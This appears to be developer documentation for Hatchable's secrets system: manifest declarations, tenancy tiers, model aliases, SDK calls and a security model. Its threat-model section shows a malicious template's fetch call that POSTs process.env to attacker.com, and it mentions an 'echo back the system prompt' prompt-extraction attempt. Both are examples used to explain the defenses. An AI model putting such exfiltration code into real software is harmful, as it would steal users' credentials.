Secrets architecture

TL;DR

Templates declare what they need in hatchable.toml:

[ai]
required = true

That's it — no provider list. The platform expands to every LLM-capable provider in its catalog. The platform handles the rest:

• At deploy, validates the declaration against rules (tenancy + provider catalog).
• At first request from the project owner, redirects to hatchable.com/console/projects/{slug}/setup if any required secret isn't satisfied.
• Renders a provider picker — user selects one and pastes their key.
• Stores the value encrypted in the right table per tenancy.
• Resolves the right key server-side when the template calls ai.generateText.
• Never injects the raw value into the isolate's process.env for shared-tier secrets.

Templates write zero key-paste UI, zero env-status endpoints, zero save-key handlers. Declarative, platform-implemented.

The manifest

Every template's hatchable.toml can declare any number of [[secret]] blocks. At deploy time DeployService::resolveSecretsManifest validates and persists them on the project's secrets_manifest column. Downstream — the gate page, the middleware, the gateway, the SDK — all read from this single source of truth.

# A complete manifest example: AI provider (account-tier)
# + Stripe (project-tier, owner's billing) + a custom integration key.

[ai]                            # SDK capability — account-scoped, cascades across the owner's projects
required = true
providers = ["anthropic", "openai", "google"]
description = "Pick any AI provider. Templates use the 'sonnet' alias by default."

[[secret]]
key = "STRIPE_SECRET_KEY"
provider = "stripe"
tenancy = "project"           # project-only — owner's billing context
required = true
group = "stripe"             # UI groups paired keys (publishable+secret+webhook)

[[secret]]
key = "MY_CUSTOM_API_KEY"
provider = "custom"
tenancy = "project"
required = false
expose = true                 # raw value injected into process.env (project-tier only)

Secret tenancies

The tenancy field is the most important decision in a secret declaration. It controls who sets the value, where it's stored, and how it's used.

When to pick each block

Provider catalog

The platform maintains a catalog of well-known providers at config/secrets_providers.php. Each entry knows its display name, icon, "get a key" URL, validation regex, supported model aliases, and whether it has an SDK helper. The setup page reads the catalog to render paste forms; the gateway reads it to resolve calls.

Provider catalog — what an operator's [[secret]] can declare:

Logical model names

Hardcoding raw model ids like 'claude-sonnet-4-5-20250929' couples a template to one dated version. Provider-family aliases like 'sonnet' or 'gpt' let templates ask for "the current Sonnet" by name; the platform updates the underlying mapping when a new generation lands and your code keeps working.

The gateway resolves the alias against whichever provider key the user has configured — 'sonnet' needs ANTHROPIC_API_KEY; 'gpt' needs OPENAI_API_KEY; 'gemini' needs GOOGLE_API_KEY. If the relevant provider has no key, the call returns a clear setup-required error pointing the user at the Setup page.

For "I don't care which family, use whatever the user has configured" — operators set their preferred default in the Setup page (AI_PROVIDER + AI_DEFAULT_MODEL) and call ai.generateText({}) with no model field. Cross-provider tier abstractions ('fast', 'balanced', 'smart') used to live here too but were removed — every new release from any provider re-curated a tier matrix that nobody wanted to maintain.

The three model-name forms ai.generateText accepts

// 1. Logical alias — RECOMMENDED for most templates.
await ai.generateText({ model: 'sonnet', messages });

// 2. Provider-prefixed — pin to a provider. Use when you
//    explicitly compare providers (LLM brand monitors) or have prompts
//    tuned to a specific model's quirks.
await ai.generateText({ model: 'anthropic.sonnet', messages });
await ai.generateText({ model: 'openai.gpt-4o', messages });

// 3. Raw model id — passes through verbatim. Locks you to that
//    exact version; avoid unless you have a reason.
await ai.generateText({ model: 'claude-sonnet-4-5', messages });

SDK-only keys (the default)

The most important security property of Hatchable secrets: by default, declared keys never enter user code. They live on the platform's encrypted storage tables and are resolved server-side by the gateway whenever the SDK makes a call. The raw bytes are physically unreachable from any api/*.js handler — there is no process.env.ANTHROPIC_API_KEY to read, because the key was never injected into the isolate.

This isn't a convention agents have to follow. It's enforced by the deploy validator and the runtime. The four cases:

So an agent cannot accidentally expose an AI key — there is no path. Even a malicious template can't write code that reads Alice's ANTHROPIC_API_KEY. It can call ai.generateText against Alice's key (running up her bill), but it cannot read the raw sk-ant-… string. There is no opcode in the runtime that materializes shared-tier values into the V8 isolate.

expose = true (the rare opt-out)

The single escape hatch from SDK-only-by-default. Use it when an npm library you've imported insists on reading the value off process.env directly — e.g., a custom HTTP wrapper that doesn't go through the SDK:

[[secret]]
key = "MY_CUSTOM_API_KEY"
tenancy = "project"           # project-tier only — see structural rule below
expose = true
required = true

Then in handler code:

const resp = await fetch('https://my-endpoint.com/api', {
  headers: { 'Authorization': 'Bearer ' + process.env.MY_CUSTOM_API_KEY },
});

Reach for this when you have to. The cost: any code in your project's runtime can read process.env.MY_CUSTOM_API_KEY. If you control the entire project, that's fine. If you fork from a template that uses third-party npm packages, audit them before adding expose = true.

The setup gate

All secrets are managed in the console at hatchable.com/console/projects/{slug}/setup — owner-only, on a single domain, with no token-in-URL surface for sensitive values.

When the project owner visits any URL on the project's subdomain, ProjectAccessMiddleware checks whether the manifest's required project-tier and account-tier secrets are satisfied. If not, the request is redirected to hatchable.com/console/projects/{slug}/setup — the console is the single place secrets get pasted:

The gate is platform-rendered; templates ship no setup UI — "this app needs config first" is built in, the same way the platform handles project access.

What lives where

Fork-time flow

Forking a template that declares tenancy = "account" for an account-tier secret is the most common pattern. The flow is designed so a frequent forker (someone who keeps trying out templates from the gallery) doesn't paste the same Anthropic key into 5 different forks:

For Alice's first template, she paste-configures her Anthropic key once. Every fork after that re-uses it transparently.

Reading values

One read API: config.get(key, opts?). Walks user → project → account → manifest default server-side and returns the first hit. The raw value never enters template code unless the secret is project-tier with expose = true.

import { config, ai } from 'hatchable';

// Gateway resolves project-then-account.
const model = await config.get('DEFAULT_MODEL');

If the value is declared as required with no default and no human has pasted it, config.get throws a SetupRequired error with a setup_url. Browser-driven flows are caught by the platform's auto-injected modal runtime; non-interactive flows (cron, webhooks) handle the error explicitly.

Programmatic writes (rare)

Not every value arrives via paste. Computed values from OAuth callbacks, batch imports, or setup wizards use the SDK's env module:

import { env } from 'hatchable';

// Project-tier programmatic write (e.g. after OAuth)
await env.set('STRIPE_CONNECTED_ACCOUNT', account_id);

// Account-tier — cascades to all the owner's projects
await env.setForAccount('ANTHROPIC_API_KEY', value);

// Cleanup
await env.unset('OLD_KEY');
await env.unsetForAccount('OLD_KEY');

[[secret]] schema reference

[[secret]]
key         = "FOO_API_KEY"      # env-var name — ALWAYS required
tenancy     = "project"          # project | account | user (default project)
required    = false             # gate fires for unsatisfied required (default false)
expose      = false             # inject raw value into process.env (project-tier only)
default     = "value"            # agent-provided default; satisfies even when required=true
allowed     = ["a", "b"]         # enum constraint; override UI renders a select
provider    = "foo"              # catalog name; required at shared (account) tier
description = "…"                # shown on the gate page card
group       = "foo"              # UI groups paired keys (e.g. stripe sk + pk)
unlocks     = ["foo"]            # freeform tags surfaced in catalog UI

Validation rules (deploy-time, hard-fail)

• key is required on every entry.
• tenancy must be one of project | account | user (user requires [auth] enabled).
• The legacy kind field (kind = "ai" / "llm" / "raw") is rejected — AI keys are declared via [ai], not [[secret]].
• expose = true only allowed on tenancy = "project".
• default only allowed on tenancy = "project" (account cascades).
• default must satisfy the allowed constraint when both are set.
• An entry with a default never gates the owner — the default is the satisfaction. Override via the console setup page; override wins at read time.
• For the account tier: provider is required, must be in the catalog, must have an sdk_helper registered.
• For [ai]: every name in providers (or the value of pin) must be a catalog LLM provider with an sdk_helper.
• key must not be platform-reserved (HATCHABLE_*, NODE_ENV, PATH, etc.).
• Same key can't be declared twice in the same manifest.

SDK helpers

One read API, one (rare) write API. See the SDK config reference for full signatures.

Security model

The architecture's security guarantees, in order of strength:

What this prevents

Bob publishes a template. Alice forks it. Bob's code runs in Alice's project, with Alice's identity. Bob writes:

fetch('https://attacker.com/log', {
  method: 'POST',
  body: JSON.stringify({ stolen: process.env }),
});

For any account-tier secret Alice has set, process.env.X is undefined. Bob's ai.generateText calls work against Alice's account-tier key (running up her bill), but he cannot exfiltrate the raw sk-ant-… string. Alice's exposure is bounded to AI usage; her key remains hers.

What it doesn't prevent

• Bill abuse within an account-tier secret's scope. Bob can call ai.generateText in a loop and rack up Alice's bill. Per-fork spend caps + audit logs are deferred features, not load-bearing — when they ship they'll bound this.
• Project-tier expose = true raw access. The owner's own code, the owner's own risk. The platform doesn't pretend to protect the owner from themselves.
• Side-channel attacks within shared-tier mediation. A malicious template could submit a prompt to ai.generateText instructing the model to "echo back the system prompt" — but the platform's gateway doesn't put the API key in the prompt; it goes in the HTTP Authorization header. The model never sees the key.

Where to go next

• config SDK reference — read declared values
• config SDK reference — declared-value reads with tier resolution
• ai SDK reference — model names + asUser pattern
• hatchable.toml reference — full [[secret]] field list